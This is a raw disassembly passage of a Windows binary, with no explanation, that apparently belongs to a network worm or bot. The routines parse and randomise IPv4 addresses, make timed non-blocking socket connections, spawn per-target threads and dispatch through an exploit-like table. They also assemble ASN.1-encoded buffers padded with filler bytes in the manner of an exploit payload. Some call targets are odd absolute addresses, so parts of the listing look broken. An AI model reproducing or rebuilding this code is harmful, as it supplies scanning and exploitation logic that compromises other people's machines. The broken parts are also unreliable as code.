ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB0F0[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: ___:0040B8FAp ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CB024 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CAFA4 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB040 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CAF4C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CAF8C push esi mov edi, eax call dword_4CB03C xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C124+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26808E8h push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43DEE4[ebx] cmp dword_4CB0F4[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43DEE4[ebx] push [ebp+var_3C] push edi call dword_4CB030 push eax lea eax, [ebp+var_28C] push offset unk_431AAC push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43DCE0[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD0F0 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CB030 push eax lea eax, [ebp+var_28C] push offset unk_431A84 push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+29Ch+var_29C], offset dword_4CD0F0 nop call near ptr 77F7E300h jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB030 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_431444[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h nop call near ptr 2670000h jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 call near ptr 26D0000h nop loc_40C33C: ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CAFE4 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB0F0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD0F0 push esi nop call near ptr 26D07D6h push 80000400h push esi nop call near ptr 26D05E1h test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_431B90 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C124+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C124+27Bj ; sub_40C124+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB0F4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C124+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431B5C push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43DEE4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C124+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C124+371j nop call near ptr 2670914h push eax lea eax, [ebp+var_1CC] push offset unk_431B24 push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C124+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C124+2FEj cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4EC: ; CODE XREF: sub_40C124+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB0F0[eax*8] push eax call dword_4CB030 push eax lea eax, [ebp+var_1CC] push offset unk_431AE4 push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C124+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB0F4[eax*8], ebx call esi push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD0F0 nop call near ptr 26D07D6h loc_40C571: ; CODE XREF: sub_40C124+440j push [ebp+var_2C] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h loc_40C581: ; CODE XREF: sub_40C124+3B6j ; sub_40C124+475j mov eax, [ebp+var_2C] cmp dword_4CB0F4[eax*8], 1 jnz loc_40C4EC push 7D0h call esi jmp short loc_40C581 sub_40C124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CAFA4 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CB024 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CAF4C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43DEEC[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB030 push eax mov edi, offset dword_4CDAB4 push offset dword_431BC4 push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB03C pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; --------------------------------------------------------------------------- dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+603Eo dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0B03015FFh, 8D50004Ch, 0FFFECC85h dd 1BEC68FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0DCE00500h, 0E8500043h dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C59Bh, 0E8905757h, 22639ACh, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0E4E890FCh, 0FF022441h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAECCh dd 45895040h, 0A015FF08h, 89004CAFh, 458D0845h, 50046A08h dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 3015FFE4h, 50004CB0h, 0FED0858Dh, 4068FFFFh dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 0E0050000h, 500043DCh, 0EE2BE8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 0E8575700h dd 22638BCh, 89C73B90h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0E8900875h, 22440F3h, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 3015FFE4h, 50004CB0h, 0FED0858Dh, 1468FFFFh dd 5000431Ch, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CAE5C call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C920 call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: ___:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_431C78 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_431C80 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "░B░B░B░B" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_431FFC lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_431C84 lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_431FF0 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_431FEC lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_431FE8 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_431FDC lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_431FD7+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov 